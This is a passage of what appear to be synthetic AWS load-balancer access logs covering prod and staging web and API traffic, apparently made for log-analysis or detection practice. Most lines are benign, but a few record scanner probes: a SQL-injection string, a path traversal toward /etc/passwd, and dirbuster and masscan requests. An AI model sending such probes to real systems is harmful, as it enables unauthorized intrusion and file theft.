(Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8e7-e94b8c64a77d41a4aef10885" "staging-alb.example.com" "-" 10 2024-11-01T02:22:15.923133Z "forward" "-" "-" "155.228.4.68:443" "200" "-" "-" +https 2024-11-01T02:22:16.371227Z prod-web-alb 39.61.67.214:32133 10.0.214.39:443 0.012589 0.374370 0.080324 200 200 278 5451 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8e8-156000a7f6914614aa998f7f" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:16.371227Z "forward" "-" "-" "10.0.214.39:443" "200" "-" "-" +https 2024-11-01T02:22:16.852783Z prod-api-alb 54.172.135.34:46433 10.0.73.236:443 0.034661 0.210711 0.040337 200 200 310 11956 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8e8-f5316aad7aa7481d8400a43c" "prod-api-alb.example.com" "-" 2 2024-11-01T02:22:16.852783Z "forward" "-" "-" "10.0.73.236:443" "200" "-" "-" +https 2024-11-01T02:22:18.837992Z staging-alb 223.31.202.100:44600 184.202.49.123:80 0.147013 0.731789 0.144485 404 404 232 4611 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8ea-b2f2332207b542c087764ef0" "staging-alb.example.com" "-" 3 2024-11-01T02:22:18.837992Z "forward" "-" "-" "184.202.49.123:80" "404" "-" "-" +http 2024-11-01T02:22:19.179444Z staging-alb 153.155.182.176:39076 78.15.184.65:80 0.030758 0.292925 0.023244 200 200 258 3780 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d8eb-a2463503c410493ba772b3fc" "staging-alb.example.com" "-" 1 2024-11-01T02:22:19.179444Z "forward" "-" "-" "78.15.184.65:80" "200" "-" "-" +https 2024-11-01T02:22:20.520608Z prod-api-alb 144.90.65.218:53512 10.0.238.233:443 0.019447 0.265634 0.034589 302 302 135 5447 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8ec-1eea718c7def4d68b4439dd5" "prod-api-alb.example.com" "-" 8 2024-11-01T02:22:20.520608Z "forward" "-" "-" "10.0.238.233:443" "302" "-" "-" +https 2024-11-01T02:22:21.098388Z staging-alb 144.6.197.15:17265 8.92.232.46:8080 0.146001 0.344092 0.115405 200 200 442 8296 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8ed-cd8189a5a0c94add8a84da55" "staging-alb.example.com" "-" 3 2024-11-01T02:22:21.098388Z "forward" "-" "-" "8.92.232.46:8080" "200" "-" "-" +https 2024-11-01T02:22:21.275202Z prod-web-alb 193.27.228.11:62237 10.0.100.132:443 0.065010 0.085709 0.004710 200 200 852 11470 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8ed-065afca695a94db590e4cbc2" "-" "-" 3 2024-11-01T02:22:21.275202Z "forward" "-" "-" "10.0.100.132:443" "200" "-" "-" +https 2024-11-01T02:22:23.178740Z staging-alb 157.33.17.255:30797 170.50.1.15:443 0.122797 0.003300 0.004779 404 404 228 14202 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8ef-eb5395e3ce0846d288de05d4" "staging-alb.example.com" "-" 0 2024-11-01T02:22:23.178740Z "forward" "-" "-" "170.50.1.15:443" "404" "-" "-" +https 2024-11-01T02:22:24.537859Z prod-api-alb 105.14.9.237:45500 10.0.128.171:443 0.054766 0.393014 0.092315 200 200 480 3389 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8f0-eca05f1697e745e69dced53f" "prod-api-alb.example.com" "-" 9 2024-11-01T02:22:24.537859Z "forward" "-" "-" "10.0.128.171:443" "200" "-" "-" +https 2024-11-01T02:22:26.401359Z prod-api-alb 119.111.209.145:34515 10.0.75.128:443 0.023970 0.006320 0.081409 404 404 585 9407 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f2-6de78c3c0bf74ff1a1dff501" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:26.401359Z "forward" "-" "-" "10.0.75.128:443" "404" "-" "-" +https 2024-11-01T02:22:27.846145Z prod-api-alb 48.231.119.44:10410 10.0.234.124:443 0.035431 0.043295 0.036787 301 301 252 8814 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8f3-3f1c63bb83b240f59a94c42f" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:27.846145Z "forward" "-" "-" "10.0.234.124:443" "301" "-" "-" +https 2024-11-01T02:22:28.707587Z prod-api-alb 171.109.83.146:56835 10.0.209.24:443 0.022259 0.286477 0.079684 200 200 882 4320 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f4-dd60c439a2b84103a2e27f80" "prod-api-alb.example.com" "-" 8 2024-11-01T02:22:28.707587Z "forward" "-" "-" "10.0.209.24:443" "200" "-" "-" +https 2024-11-01T02:22:29.462975Z prod-api-alb 65.8.86.104:53141 10.0.46.142:443 0.014220 0.273272 0.027355 301 301 277 10525 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f5-5db5493e493d4c9c973e3525" "prod-api-alb.example.com" "-" 4 2024-11-01T02:22:29.462975Z "forward" "-" "-" "10.0.46.142:443" "301" "-" "-" +https 2024-11-01T02:22:31.053943Z prod-api-alb 76.246.249.115:25520 10.0.57.3:443 0.007890 0.201460 0.071252 200 200 74 8645 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d8f7-cac38d6f8f5a47c695dd21b2" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:31.053943Z "forward" "-" "-" "10.0.57.3:443" "200" "-" "-" +https 2024-11-01T02:22:31.341590Z prod-web-alb 72.75.156.140:58575 10.0.6.216:443 0.074547 0.062761 0.073154 200 200 184 5392 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8f7-870f83d9be6a4b548023f13c" "prod-web-alb.example.com" "-" 6 2024-11-01T02:22:31.341590Z "forward" "-" "-" "10.0.6.216:443" "200" "-" "-" +https 2024-11-01T02:22:32.797850Z staging-alb 107.203.139.102:26390 191.47.13.6:443 0.021207 0.475604 0.023297 404 404 631 13860 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8f8-46a05890622f4d5d963502f4" "staging-alb.example.com" "-" 5 2024-11-01T02:22:32.797850Z "forward" "-" "-" "191.47.13.6:443" "404" "-" "-" +https 2024-11-01T02:22:33.609190Z prod-web-alb 100.120.106.21:46224 10.0.237.235:443 0.059448 0.485182 0.005648 404 404 115 4324 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d8f9-9a05ddd966574157a44679b5" "prod-web-alb.example.com" "-" 0 2024-11-01T02:22:33.609190Z "forward" "-" "-" "10.0.237.235:443" "404" "-" "-" +https 2024-11-01T02:22:34.578091Z prod-api-alb 43.139.123.149:41007 10.0.151.241:443 0.055632 0.110539 0.078662 302 302 107 4276 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8fa-ab3e2a1ac4324e84ba1014f3" "prod-api-alb.example.com" "-" 2 2024-11-01T02:22:34.578091Z "forward" "-" "-" "10.0.151.241:443" "302" "-" "-" +https 2024-11-01T02:22:35.731552Z staging-alb 83.24.17.218:62271 47.239.192.117:8080 0.048505 0.571601 0.120362 200 200 603 7841 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d8fb-a25bbb9a3c404f9fbe40d553" "staging-alb.example.com" "-" 8 2024-11-01T02:22:35.731552Z "forward" "-" "-" "47.239.192.117:8080" "200" "-" "-" +https 2024-11-01T02:22:37.721961Z prod-web-alb 119.217.79.84:63953 10.0.89.65:443 0.082752 0.177559 0.054989 302 302 810 1502 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d8fd-ad91dac87e074b08921678e9" "prod-web-alb.example.com" "-" 4 2024-11-01T02:22:37.721961Z "forward" "-" "-" "10.0.89.65:443" "302" "-" "-" +https 2024-11-01T02:22:39.532753Z prod-api-alb 45.155.205.102:37197 10.0.78.159:443 0.056754 0.436941 0.080049 403 403 471 11493 "GET /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d8ff-6b10b0755e1d4dbbbf921c56" "-" "-" 1 2024-11-01T02:22:39.532753Z "forward" "-" "-" "10.0.78.159:443" "403" "-" "-" +http 2024-11-01T02:22:40.966126Z staging-alb 226.115.201.74:45008 5.92.130.135:443 0.046450 0.361741 0.020643 200 200 265 2029 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d900-f1a17429f2f3464c86d905d9" "staging-alb.example.com" "-" 2 2024-11-01T02:22:40.966126Z "forward" "-" "-" "5.92.130.135:443" "200" "-" "-" +https 2024-11-01T02:22:42.449823Z prod-api-alb 247.163.169.155:22249 10.0.93.207:443 0.026519 0.196912 0.037731 302 302 219 11052 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d902-1d7184ef4a974ee29ea3f1f0" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:42.449823Z "forward" "-" "-" "10.0.93.207:443" "302" "-" "-" +https 2024-11-01T02:22:43.920551Z prod-api-alb 45.9.29.214:40923 10.0.199.127:443 0.092752 0.136891 0.017603 200 200 223 12119 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d903-11a049a748594080b8f56f76" "prod-api-alb.example.com" "-" 4 2024-11-01T02:22:43.920551Z "forward" "-" "-" "10.0.199.127:443" "200" "-" "-" +https 2024-11-01T02:22:44.446516Z prod-api-alb 116.83.238.39:59156 10.0.76.123:443 0.066130 0.034822 0.088821 200 200 939 1798 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d904-ed8b1b61997945b6b5dcd862" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:44.446516Z "forward" "-" "-" "10.0.76.123:443" "200" "-" "-" +https 2024-11-01T02:22:44.747130Z prod-api-alb 62.211.5.32:47091 10.0.111.127:443 0.033063 0.103843 0.042129 200 200 389 6180 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d904-02157a5af448401b86ab83ca" "prod-api-alb.example.com" "-" 9 2024-11-01T02:22:44.747130Z "forward" "-" "-" "10.0.111.127:443" "200" "-" "-" +https 2024-11-01T02:22:46.495147Z prod-api-alb 213.124.37.236:63037 10.0.92.249:443 0.016748 0.343357 0.041375 302 302 510 6382 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d906-d870cb10c9dd427799726306" "prod-api-alb.example.com" "-" 3 2024-11-01T02:22:46.495147Z "forward" "-" "-" "10.0.92.249:443" "302" "-" "-" +https 2024-11-01T02:22:47.823140Z prod-web-alb 148.198.128.126:48906 10.0.207.9:443 0.047056 0.425032 0.048782 301 301 547 5113 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d907-1d6bf8e09b8e4c99881d6893" "prod-web-alb.example.com" "-" 5 2024-11-01T02:22:47.823140Z "forward" "-" "-" "10.0.207.9:443" "301" "-" "-" +https 2024-11-01T02:22:49.423461Z prod-api-alb 121.82.125.140:16801 10.0.90.210:443 0.063466 0.309777 0.042675 200 200 158 14841 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d909-a1eda9cff80b4948ad2efbed" "prod-api-alb.example.com" "-" 7 2024-11-01T02:22:49.423461Z "forward" "-" "-" "10.0.90.210:443" "200" "-" "-" +https 2024-11-01T02:22:50.648621Z staging-alb 144.190.163.209:18434 144.147.154.31:8080 0.076220 0.120784 0.064965 302 302 450 7767 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d90a-1128e19e4f344d769f440d15" "staging-alb.example.com" "-" 8 2024-11-01T02:22:50.648621Z "forward" "-" "-" "144.147.154.31:8080" "302" "-" "-" +https 2024-11-01T02:22:52.646555Z staging-alb 121.147.245.85:11381 237.222.83.66:8080 0.040269 0.555991 0.023469 200 200 107 11361 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d90c-cf8452949e34437eacecb50e" "staging-alb.example.com" "-" 4 2024-11-01T02:22:52.646555Z "forward" "-" "-" "237.222.83.66:8080" "200" "-" "-" +https 2024-11-01T02:22:53.738052Z prod-api-alb 177.182.97.253:16397 10.0.216.107:443 0.070474 0.168235 0.015160 200 200 245 6691 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d90d-30572f9cf5f0497e9d0322fe" "prod-api-alb.example.com" "-" 1 2024-11-01T02:22:53.738052Z "forward" "-" "-" "10.0.216.107:443" "200" "-" "-" +https 2024-11-01T02:22:55.388007Z prod-api-alb 47.255.47.29:44358 10.0.225.232:443 0.010637 0.345239 0.009497 404 404 126 13883 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d90f-0b720dd8be9849908a5b1530" "prod-api-alb.example.com" "-" 10 2024-11-01T02:22:55.388007Z "forward" "-" "-" "10.0.225.232:443" "404" "-" "-" +https 2024-11-01T02:22:55.756522Z prod-web-alb 67.25.189.181:29554 10.0.229.38:443 0.044522 0.069405 0.080467 200 200 489 405 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d90f-f92aad354b3848709e2b2b75" "prod-web-alb.example.com" "-" 1 2024-11-01T02:22:55.756522Z "forward" "-" "-" "10.0.229.38:443" "200" "-" "-" +https 2024-11-01T02:22:56.393909Z staging-alb 193.27.228.135:44613 149.151.213.65:8080 0.045955 0.173274 0.053307 404 404 649 8910 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d910-9a57ba5223c942289887a885" "-" "-" 5 2024-11-01T02:22:56.393909Z "forward" "-" "-" "149.151.213.65:8080" "404" "-" "-" +https 2024-11-01T02:22:56.971180Z prod-api-alb 234.83.206.222:49072 10.0.54.58:443 0.042006 0.496960 0.049075 200 200 525 11051 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d910-ea52318eedf34b0d87b33dd5" "prod-api-alb.example.com" "-" 7 2024-11-01T02:22:56.971180Z "forward" "-" "-" "10.0.54.58:443" "200" "-" "-" +https 2024-11-01T02:22:58.508372Z prod-api-alb 185.181.245.151:47562 10.0.59.169:443 0.076444 0.082635 0.086531 301 301 359 14067 "POST /admin HTTP/1.1" "masscan/1.3.2" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d912-e6b26b827c4241edb35c66a1" "-" "-" 1 2024-11-01T02:22:58.508372Z "forward" "-" "-" "10.0.59.169:443" "301" "-" "-" +http 2024-11-01T02:23:00.111090Z staging-alb 79.90.63.133:35252 133.9.187.26:80 0.109519 0.396250 0.039031 200 200 830 12384 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d914-a8788f7ed0db4c02a8a1e1c7" "staging-alb.example.com" "-" 8 2024-11-01T02:23:00.111090Z "forward" "-" "-" "133.9.187.26:80" "200" "-" "-" +http 2024-11-01T02:23:01.767867Z staging-alb 167.254.239.139:39999 5.27.227.138:8080 0.141983 0.322075 0.137451 200 200 297 12046 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d915-766247ecbc034fca8c51c582" "staging-alb.example.com" "-" 6 2024-11-01T02:23:01.767867Z "forward" "-" "-" "5.27.227.138:8080" "200" "-" "-" +https 2024-11-01T02:23:03.298571Z prod-api-alb 151.244.44.199:50852 10.0.220.109:443 0.095033 0.305420 0.042975 200 200 399 5672 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d917-ef430d8b983a43c5a06183cd" "prod-api-alb.example.com" "-" 3 2024-11-01T02:23:03.298571Z "forward" "-" "-" "10.0.220.109:443" "200" "-" "-" +https 2024-11-01T02:23:04.181150Z prod-api-alb 91.194.78.177:30604 10.0.82.230:443 0.073038 0.351702 0.048987 200 200 991 3889 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d918-18b067995ebd4395b706d55a" "prod-api-alb.example.com" "-" 5 2024-11-01T02:23:04.181150Z "forward" "-" "-" "10.0.82.230:443" "200" "-" "-" +https 2024-11-01T02:23:05.885075Z prod-web-alb 219.73.90.91:58922 10.0.186.239:443 0.014845 0.171423 0.071949 200 200 200 11516 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d919-15026ea0bd1040dda11dc208" "prod-web-alb.example.com" "-" 1 2024-11-01T02:23:05.885075Z "forward" "-" "-" "10.0.186.239:443" "200" "-" "-" +https 2024-11-01T02:23:06.840122Z prod-web-alb 10.243.200.20:42136 10.0.211.32:443 0.014281 0.049061 0.073667 200 200 542 9594 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d91a-0db206725e444768b62a163d" "prod-web-alb.example.com" "-" 0 2024-11-01T02:23:06.840122Z "forward" "-" "-" "10.0.211.32:443" "200" "-" "-" +https 2024-11-01T02:23:07.879935Z prod-web-alb 44.205.118.223:37939 10.0.239.163:443 0.015923 0.003024 0.048892 302 302 820 4502 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d91b-7b69093065de42a2977427a4" "prod-web-alb.example.com" "-" 7 2024-11-01T02:23:07.879935Z "forward" "-" "-" "10.0.239.163:443" "302" "-" "-" +https 2024-11-01T02:23:08.251948Z prod-api-alb 248.101.225.135:10948 10.0.172.60:443 0.056984 0.235969 0.049427 200 200 416 1602 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d91c-806f101cd62e487bb9461624" "prod-api-alb.example.com" "-" 0 2024-11-01T02:23:08.251948Z "forward" "-" "-" "10.0.172.60:443" "200" "-" "-" +https 2024-11-01T02:23:09.400947Z prod-api-alb 229.126.151.222:42630 10.0.175.108:443 0.070754 0.266713 0.088249 200 200 836 13871 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d91d-f4a2ac92f7374ad2863d3d53" "prod-api-alb.example.com" "-" 10 2024-11-01T02:23:09.400947Z "forward" "-" "-" "10.0.175.108:443" "200" "-" "-" +http 2024-11-01T02:23:10.145435Z staging-alb 